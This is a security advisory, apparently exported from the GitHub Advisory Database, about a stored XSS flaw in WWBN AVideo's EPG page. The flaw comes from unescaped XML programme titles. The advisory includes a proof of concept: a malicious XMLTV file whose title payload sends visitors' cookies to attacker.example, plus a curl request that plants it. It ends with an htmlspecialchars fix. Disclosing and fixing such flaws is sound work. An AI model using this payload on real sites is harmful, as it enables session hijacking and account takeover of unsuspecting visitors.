wwbn/avideo
Affected
- introduced
0, last affected26.0(ecosystem)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-39367
WWBN AVideo has Stored XSS via Malicious EPG XML Program Titles in AVideo EPG Page
Summary
AVideo's EPG (Electronic Program Guide) feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's epg_link to a malicious XML file whose <title> elements contain JavaScript. This payload executes in the browser of any unauthenticated visitor to the public EPG page, enabling session hijacking and account takeover.
Details
The vulnerability spans three files in the data flow:
1. Entry point — `objects/videoAddNew.json.php:117-119`
The epg_link parameter is stored with only a URL format check:
if (empty($_POST['epg_link']) || isValidURL($_POST['epg_link'])) {
$obj->setEpg_link($_POST['epg_link']);
}
This requires User::canUpload() (line 10) — not admin, just basic upload permission.
2. XML parsing — `objects/EpgParser.php:321`
Programme titles are extracted as raw strings with no sanitization:
$this->epgdata[$grouper ?: 0] = [
'title' => (string) $element->title,
// ...
];
3. Sink — `plugin/PlayerSkins/epg.php:343-351`
Programme titles are interpolated directly into HTML output without htmlspecialchars() or any escaping:
} else if ($width <= $minimumWidth1Dot) {
$text = "<abbr title=\"{$program['title']}\">.</abbr>"; // attribute injection
} else if ($width <= $minimumWidth) {
$text = "<abbr title=\"{$program['title']}\"><small ..."; // attribute injection
} else if ($width <= $minimumSmallFont) {
$text = "<small class=\"small-font\">{$program['title']}<div>..."; // HTML injection
} else {
$text = "{$program['title']}<div>..."; // HTML injection
}
Notably, the channel display-name is sanitized via safeString() at line 151, but programme titles are not — an apparent oversight.
The EPG page (epg.php) requires no authentication to access, and the rendered output is cached at line 634 (ObjectYPT::setCache), so the XSS payload persists in cache even if the original malicious XML is later removed.
PoC
Step 1: Host a malicious XMLTV file at an attacker-controlled URL:
<?xml version="1.0" encoding="UTF-8"?>
<tv>
<channel id="ch1">
<display-name>Test Channel</display-name>
</channel>
<programme start="20260404060000 +0000" stop="20260404070000 +0000" channel="ch1">
<title><![CDATA[<img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)>]]></title>
</programme>
</tv>
Step 2: Create a video with the malicious EPG link (requires upload permission):
curl -s -b 'PHPSESSID=UPLOAD_USER_SESSION' \
'https://target.example/objects/videoAddNew.json.php' \
-d 'title=LiveStream&videoLink=https://example.com/stream.m3u8&epg_link=https://attacker.example/evil.xml&categories_id=1'
Step 3: Any visitor (unauthenticated) browsing the EPG page triggers the XSS:
https://target.example/plugin/PlayerSkins/epg.php
The <img onerror> payload executes in the browser of every visitor, exfiltrating cookies and session tokens.
Impact
Recommended Fix
Escape all programme data before rendering in HTML. In plugin/PlayerSkins/epg.php, apply htmlspecialchars() to programme titles before interpolation:
// Around line 340, before the width checks:
$safeTitle = htmlspecialchars($program['title'], ENT_QUOTES, 'UTF-8');
// Then use $safeTitle instead of $program['title']:
} else if ($width <= $minimumWidth1Dot) {
$text = "<abbr title=\"{$safeTitle}\">.</abbr>";
} else if ($width <= $minimumWidth) {
$text = "<abbr title=\"{$safeTitle}\"><small class=\"duration\">{$minutes} Min</small></abbr>";
} else if ($width <= $minimumSmallFont) {
$text = "<small class=\"small-font\">{$safeTitle}<div><small class=\"duration\">{$minutes} Min</small></div></small>";
} else {
$text = "{$safeTitle}<div><small class=\"duration\">{$minutes} Min</small></div>";
}
Additionally, consider sanitizing all EPG XML fields at parse time in EpgParser.php:316-330 to defend in depth.
Medium Basis: The source's own band: MODERATE
0, last affected 26.0 (ecosystem)None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0